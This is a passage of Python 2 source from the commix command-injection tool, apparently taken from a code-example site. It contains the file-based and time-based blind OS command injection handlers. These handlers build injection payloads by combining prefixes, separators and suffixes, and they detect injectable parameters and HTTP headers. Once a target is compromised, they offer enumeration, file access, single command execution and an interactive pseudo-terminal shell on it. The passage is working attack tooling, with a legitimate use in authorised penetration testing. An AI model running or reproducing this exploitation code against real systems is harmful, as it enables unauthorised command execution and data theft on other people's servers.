                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... [ " + percent + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                  sys.stdout.flush()

                if len(shell) == 0 :
                  raise urllib2.HTTPError(url, 404, 'Error', {}, None)

              except urllib2.HTTPError, e:
                if str(e.getcode()) == settings.NOT_FOUND_ERROR:
                  percent = ((i*100)/total)
                  float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))

                  if call_tmp_based == True:
                    exit_loops = True
                    tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
                    tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
                    raise
                    
                  # Show an error message, after N failed tries.
                  # Use the "/tmp/" directory for tempfile-based technique.
                  elif i == int(menu.options.failed_tries) and no_result == True :
                    tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
                    warn_msg = "It seems that you don't have permissions to "
                    warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."  
                    sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                    print ""
                    while True:
                      if not menu.options.batch:
                        question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
                        sys.stdout.write(settings.print_question_msg(question_msg))
                        tmp_upload = sys.stdin.readline().replace("\n","").lower()
                      else:
                        tmp_upload = ""
                      if len(tmp_upload) == 0:
                         tmp_upload = "y"
                      if tmp_upload in settings.CHOICE_YES:
                        exit_loops = True
                        settings.TEMPFILE_BASED_STATE = True
                        call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
                        if call_tfb != False:
                          return True
                        else:
                          if no_result == True:
                            return False
                          else:
                            return True
                      elif tmp_upload in settings.CHOICE_NO:
                        break
                      elif tmp_upload in settings.CHOICE_QUIT:
                        print ""
                        raise
                      else:
                        err_msg = "'" + tmp_upload + "' is not a valid answer."  
                        print settings.print_error_msg(err_msg)
                        pass
                    continue
                  
                  else:
                    if exit_loops == False:
                      if not settings.VERBOSITY_LEVEL >= 1:
                        if str(float_percent) == "100.0":
                          if no_result == True:
                            percent = Fore.RED + "FAILED" + Style.RESET_ALL
                          else:
                            percent = str(float_percent)+ "%"
                        else:
                          percent = str(float_percent)+ "%"

                        info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... [ " + percent + " ]"
                        sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                        sys.stdout.flush()
                        continue
                      else:
                        continue
                    else:
                      raise
                  
                elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR:
                  err_msg = "Authorization required!"
                  print settings.print_critical_msg(err_msg) + "\n"
                  raise SystemExit()
                  
                elif str(e.getcode()) == settings.FORBIDDEN_ERROR:
                  err_msg = "You don't have permission to access this page."
                  print settings.print_critical_msg(err_msg) + "\n"
                  raise SystemExit()
              
            except KeyboardInterrupt:
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except SystemExit: 
              if 'vuln_parameter' in locals():
                # Delete previous shell (text) files (output)
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except urllib2.URLError, e: 
              warn_msg = "It seems that you don't have permissions to "
              warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
              sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
              err_msg = str(e).replace(": "," (") + ")."
              if menu.options.verbose > 1:
                print ""
              print settings.print_critical_msg(err_msg)
              # Provide custom server's root directory.
              custom_web_root(url, timesec, filename, http_request_method, url_time_response)
              continue
            
            except:
              raise
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            settings.FILE_BASED_STATE = True
            found = True
            no_result = False
            # Check injection state
            settings.DETECTION_PHASE = False
            settings.EXPLOITATION_PHASE = True
            if not settings.VERBOSITY_LEVEL >= 1 and \
               not menu.options.alter_shell and \
               not next_attack_vector:
              next_attack_vector = True

            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.HOST_INJECTION == True: 
              header_name = "Host"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              if not settings.VERBOSITY_LEVEL >= 1:
                print ""
              else:
                checks.total_of_requests()

            # Print the findings to terminal.
            success_msg = "The"
            if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
              success_msg += " " + http_request_method 
            success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
            print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 

            # Check for any enumeration options.
            new_line = True
            if settings.ENUMERATION_DONE == True :
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to enumerate again? [Y/n] > "
                  enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                else:
                  enumerate_again = ""  
                if len(enumerate_again) == 0:
                  enumerate_again = "y"
                if enumerate_again in settings.CHOICE_YES:
                  fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  # print ""
                  break
                elif enumerate_again in settings.CHOICE_NO:
                  new_line = False
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
           
            if not menu.file_access_options() and not menu.options.os_cmd:
              if not settings.VERBOSITY_LEVEL >= 1 and new_line:
                print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to access files again? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  file_access_again = sys.stdin.readline().replace("\n","").lower()
                else:
                  file_access_again = ""
                if len(file_access_again) == 0:
                   file_access_again= "y"
                if file_access_again in settings.CHOICE_YES:
                  fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.file_access_options():
                # if not menu.enumeration_options():
                #   print ""
                fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                print ""
               
            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print ""
              fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise SystemExit()

            try:
              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                # Delete previous shell (text) files (output)
                # if settings.VERBOSITY_LEVEL >= 1:
                #   print ""
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                if settings.VERBOSITY_LEVEL >= 1:
                  print ""
                if go_back == True:
                  break
                if not menu.options.batch:
                  question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  gotshell = sys.stdin.readline().replace("\n","").lower()
                else:
                  gotshell = ""
                if len(gotshell) == 0:
                   gotshell = "y"
                if gotshell in settings.CHOICE_YES:
                  if not menu.options.batch:
                    print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  if readline_error:
                    checks.no_readline_module()
                  while True:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    # if settings.VERBOSITY_LEVEL >= 1:
                    #   print ""
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE)
                      if go_back and go_back_again == False:
                        break
                      if go_back and go_back_again:
                        return True 
                    else:
                      time.sleep(timesec)
                      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Command execution results.
                        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
                        shell = "".join(str(p) for p in shell)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                      if shell:
                        if shell != "":
                          # Update logs with executed cmds and execution results.
                          logs.executed_command(filename, cmd, shell)
                          print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"

                      if not shell or shell == "":
                        if settings.VERBOSITY_LEVEL >= 1:
                          print ""
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print settings.print_critical_msg(err_msg) + "\n"

                elif gotshell in settings.CHOICE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  

                elif gotshell in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  raise SystemExit()
                else:
                  err_msg = "'" + gotshell + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
              
            except KeyboardInterrupt: 
              # if settings.VERBOSITY_LEVEL >= 1:
              print ""
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise
示例#9
0
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response):
 
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  possibly_vulnerable = False
  false_positive_warning = False
  export_injection_info = False
  how_long = 0
  injection_type = "blind OS command injection"
  technique = "time-based command injection technique"

  if settings.VERBOSITY_LEVEL >= 1:
    info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
    print settings.print_info_msg(info_msg)

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    warn_msg = "The '--url-reload' option is not available in " + technique + "."
    print settings.print_warning_msg(warn_msg)

  #whitespace = checks.check_whitespaces()
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          how_long_statistic = []
          if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
            try:
              settings.TIME_BASED_STATE = True
              cmd = shell = ""
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
              settings.FOUND_HOW_LONG = how_long
              settings.FOUND_DIFF = how_long - timesec
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print settings.print_critical_msg(err_msg)
              raise SystemExit()

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, timesec, filename, http_request_method)

          if not settings.LOAD_SESSION:
            num_of_chars = num_of_chars + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""
            
            # Define alter shell
            alter_shell = menu.options.alter_shell
            
            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
            tag_length = len(TAG) + 4
            
            for output_length in range(1, int(tag_length)):
              try:
                if alter_shell:
                  # Time-based decision payload (check if host is vulnerable).
                  payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method)
                else:
                  # Time-based decision payload (check if host is vulnerable).
                  payload = tb_payloads.decision(separator, TAG, output_length, timesec, http_request_method)

                # Fix prefixes / suffixes
                payload = parameters.prefixes(payload, prefix)
                payload = parameters.suffixes(payload, suffix)

                # Whitespace fixation
                payload = payload.replace(" ", whitespace)
                
                # Perform payload modification
                payload = checks.perform_payload_modification(payload)

                # Check if defined "--verbose" option.
                if settings.VERBOSITY_LEVEL == 1:
                  payload_msg = payload.replace("\n", "\\n")
                  print settings.print_payload(payload_msg)
                # Check if defined "--verbose" option.
                elif settings.VERBOSITY_LEVEL > 1:
                  info_msg = "Generating a payload for injection..."
                  print settings.print_info_msg(info_msg)
                  payload_msg = payload.replace("\n", "\\n") 
                  sys.stdout.write(settings.print_payload(payload_msg) + "\n")

                # Cookie header injection
                if settings.COOKIE_INJECTION == True:
                  # Check if target host is vulnerable to cookie header injection.
                  vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                  how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)

                # User-Agent HTTP header injection
                elif settings.USER_AGENT_INJECTION == True:
                  # Check if target host is vulnerable to user-agent HTTP header injection.
                  vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                  how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)

                # Referer HTTP header injection
                elif settings.REFERER_INJECTION == True:
                  # Check if target host is vulnerable to referer HTTP header injection.
                  vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                  how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)

                # Host HTTP header injection
                elif settings.HOST_INJECTION == True:
                  # Check if target host is vulnerable to host HTTP header injection.
                  vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                  how_long = tb_injector.host_injection_test(url, vuln_parameter, payload)

                # Custom HTTP header Injection
                elif settings.CUSTOM_HEADER_INJECTION == True:
                  # Check if target host is vulnerable to custom http header injection.
                  vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                  how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload)

                else:
                  # Check if target host is vulnerable.
                  how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)

                # Statistical analysis in time responses.
                how_long_statistic.append(how_long)

                # Injection percentage calculation
                percent = ((num_of_chars * 100) / total)
                float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))

                if percent == 100 and no_result == True:
                  if not settings.VERBOSITY_LEVEL >= 1:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = ""
                else:
                  if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                     (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                     (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

                    # Time relative false positive fixation.
                    false_positive_fixation = False
                    if len(TAG) == output_length:

                      # Simple statical analysis
                      statistical_anomaly = True
                      if len(set(how_long_statistic[0:5])) == 1:
                        if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
                          statistical_anomaly = False
                          how_long_statistic = []  

                      if timesec <= how_long and not statistical_anomaly:
                        false_positive_fixation = True
                      else:
                        false_positive_warning = True

                    # Identified false positive warning message.
                    if false_positive_warning:
                      warn_msg = "Unexpected time delays have been identified due to unstable "
                      warn_msg += "requests. This behavior may lead to false-positive results.\n"
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      while True:
                        if not menu.options.batch:
                          question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
                          sys.stdout.write(settings.print_question_msg(question_msg))
                          proceed_option = sys.stdin.readline().replace("\n","").lower()
                        else:
                          proceed_option = ""  
                        if len(proceed_option) == 0:
                           proceed_option = "c" 
                        if proceed_option.lower() in settings.CHOICE_PROCEED :
                          if proceed_option.lower() == "s":
                            false_positive_fixation = False
                            raise
                          elif proceed_option.lower() == "c":
                            timesec = timesec + 1
                            false_positive_fixation = True
                            break
                          elif proceed_option.lower() == "q":
                            raise SystemExit()
                        else:
                          err_msg = "'" + proceed_option + "' is not a valid answer."
                          print settings.print_error_msg(err_msg)
                          pass

                    # Check if false positive fixation is True.
                    if false_positive_fixation:
                      false_positive_fixation = False
                      settings.FOUND_HOW_LONG = how_long
                      settings.FOUND_DIFF = how_long - timesec
                      if false_positive_warning:
                        time.sleep(1)
                      randv1 = random.randrange(1, 10)
                      randv2 = random.randrange(1, 10)
                      randvcalc = randv1 + randv2

                      if settings.TARGET_OS == "win":
                        if alter_shell:
                          cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
                        else:
                          cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
                      else:
                        cmd = "expr " + str(randv1) + " %2B " + str(randv2) + ""

                      # Set the original delay time
                      original_how_long = how_long
                      
                      # Check for false positive resutls
                      how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response)

                      if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                         (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                         (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
                        
                        if str(output) == str(randvcalc) and len(TAG) == output_length:
                          possibly_vulnerable = True
                          how_long_statistic = 0
                          if not settings.VERBOSITY_LEVEL >= 1:
                            percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                          else:
                            percent = ""
                      else:
                        break
                    # False positive
                    else:
                      if not settings.VERBOSITY_LEVEL >= 1:
                        percent = str(float_percent)+ "%"
                        info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                        sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                        sys.stdout.flush()
                      continue    
                  else:
                    if not settings.VERBOSITY_LEVEL >= 1:
                      percent = str(float_percent)+ "%"
                      info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    continue
                if not settings.VERBOSITY_LEVEL >= 1:
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                  sys.stdout.flush()

              except KeyboardInterrupt: 
                raise

              except SystemExit:
                raise

              except EOFError:
                err_msg = "Exiting, due to EOFError."
                print settings.print_error_msg(err_msg)
                raise

              except:
                percent = ((num_of_chars * 100) / total)
                float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
                if str(float_percent) == "100.0":
                  if no_result == True:
                    if not settings.VERBOSITY_LEVEL >= 1:
                      percent = Fore.RED + "FAILED" + Style.RESET_ALL
                      info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    else:
                      percent = ""
                  else:
                    percent = str(float_percent) + "%"
                    print ""
                    # Print logs notification message
                    logs.logs_notification(filename)
                  #raise
                else:
                  percent = str(float_percent) + "%"
              break
              
          # Yaw, got shellz! 
          # Do some magic tricks!
          if (url_time_response == 0 and (how_long - timesec) >= 0) or \
             (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
             (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :  
            if (len(TAG) == output_length) and \
               (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):

              found = True
              no_result = False
              # Check injection state
              settings.DETECTION_PHASE = False
              settings.EXPLOITATION_PHASE = True
              if settings.LOAD_SESSION:
                possibly_vulnerable = False

              if settings.COOKIE_INJECTION == True: 
                header_name = " cookie"
                found_vuln_parameter = vuln_parameter
                the_type = " parameter"

              elif settings.USER_AGENT_INJECTION == True: 
                header_name = " User-Agent"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.REFERER_INJECTION == True: 
                header_name = " Referer"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.CUSTOM_HEADER_INJECTION == True: 
                header_name = " " + settings.CUSTOM_HEADER_NAME
                found_vuln_parameter = ""
                the_type = " HTTP header"

              else:
                header_name = ""
                the_type = " parameter"
                if http_request_method == "GET":
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              if len(found_vuln_parameter) != 0 :
                found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 
              
              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
              logs.update_payload(filename, counter, payload) 
              counter = counter + 1

              if not settings.LOAD_SESSION:
                if not settings.VERBOSITY_LEVEL >= 1:
                  print ""
                else:
                  checks.total_of_requests()

              # Print the findings to terminal.
              success_msg = "The"
              if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
                success_msg += " " + http_request_method 
              success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
              success_msg += found_vuln_parameter + " seems injectable via "
              success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
              print settings.print_success_msg(success_msg)
              print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
              # Export session
              if not settings.LOAD_SESSION:
                shell = ""
                session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
                #possibly_vulnerable = False
              else:
                settings.LOAD_SESSION = False 
              
              new_line = False   
              # Check for any enumeration options.
              if settings.ENUMERATION_DONE == True:
                while True:
                  if not menu.options.batch:
                    question_msg = "Do you want to enumerate again? [Y/n] > "
                    enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                  else:
                    enumerate_again = ""
                  if len(enumerate_again) == 0:
                    enumerate_again = "y"
                  if enumerate_again in settings.CHOICE_YES:
                    tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                    print ""
                    break
                  elif enumerate_again in settings.CHOICE_NO: 
                    new_line = True
                    break
                  elif enumerate_again in settings.CHOICE_QUIT:
                    raise SystemExit()
                  else:
                    err_msg = "'" + enumerate_again + "' is not a valid answer."  
                    print settings.print_error_msg(err_msg)
                    pass
              else:
                if menu.enumeration_options():
                  tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                  print ""

              # Check for any system file access options.
              if settings.FILE_ACCESS_DONE == True:
                print ""
                while True:
                  if not menu.options.batch:
                    question_msg = "Do you want to access files again? [Y/n] > "
                    sys.stdout.write(settings.print_question_msg(question_msg))
                    file_access_again = sys.stdin.readline().replace("\n","").lower()
                  else:
                    file_access_again = "" 
                  if len(file_access_again) == 0:
                     file_access_again = "y" 
                  if file_access_again in settings.CHOICE_YES:
                    tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                    break
                  elif file_access_again in settings.CHOICE_NO: 
                    if not new_line:
                      new_line = True
                    break 
                  elif file_access_again in settings.CHOICE_QUIT:
                    raise SystemExit()
                  else:
                    err_msg = "'" + file_access_again  + "' is not a valid answer."  
                    print settings.print_error_msg(err_msg)
                    pass
              else:
                # if not menu.enumeration_options() and not menu.options.os_cmd:
                #   print ""
                tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)

              # Check if defined single cmd.
              if menu.options.os_cmd:
                cmd = menu.options.os_cmd
                check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                # Export injection result
                tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                print ""
                logs.print_logs_notification(filename, url) 
                raise SystemExit()

              if not new_line :
                print ""

              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                if go_back == True:
                  break 
                if not menu.options.batch:  
                  question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  gotshell = sys.stdin.readline().replace("\n","").lower()
                else:
                  gotshell = "" 
                if len(gotshell) == 0:
                  gotshell = "y"
                if gotshell in settings.CHOICE_YES:
                  if not menu.options.batch:
                    print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  if readline_error:
                    checks.no_readline_module()
                  while True:
                    if false_positive_warning:
                      warn_msg = "Due to unexpected time delays, it is highly "
                      warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      false_positive_warning = False
                    try:
                      # Tab compliter
                      if not readline_error:
                        readline.set_completer(menu.tab_completer)
                        # MacOSX tab compliter
                        if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                          readline.parse_and_bind("bind ^I rl_complete")
                        # Unix tab compliter
                        else:
                          readline.parse_and_bind("tab: complete")
                      cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                      cmd = checks.escaped_cmd(cmd)
                      if cmd.lower() in settings.SHELL_OPTIONS:
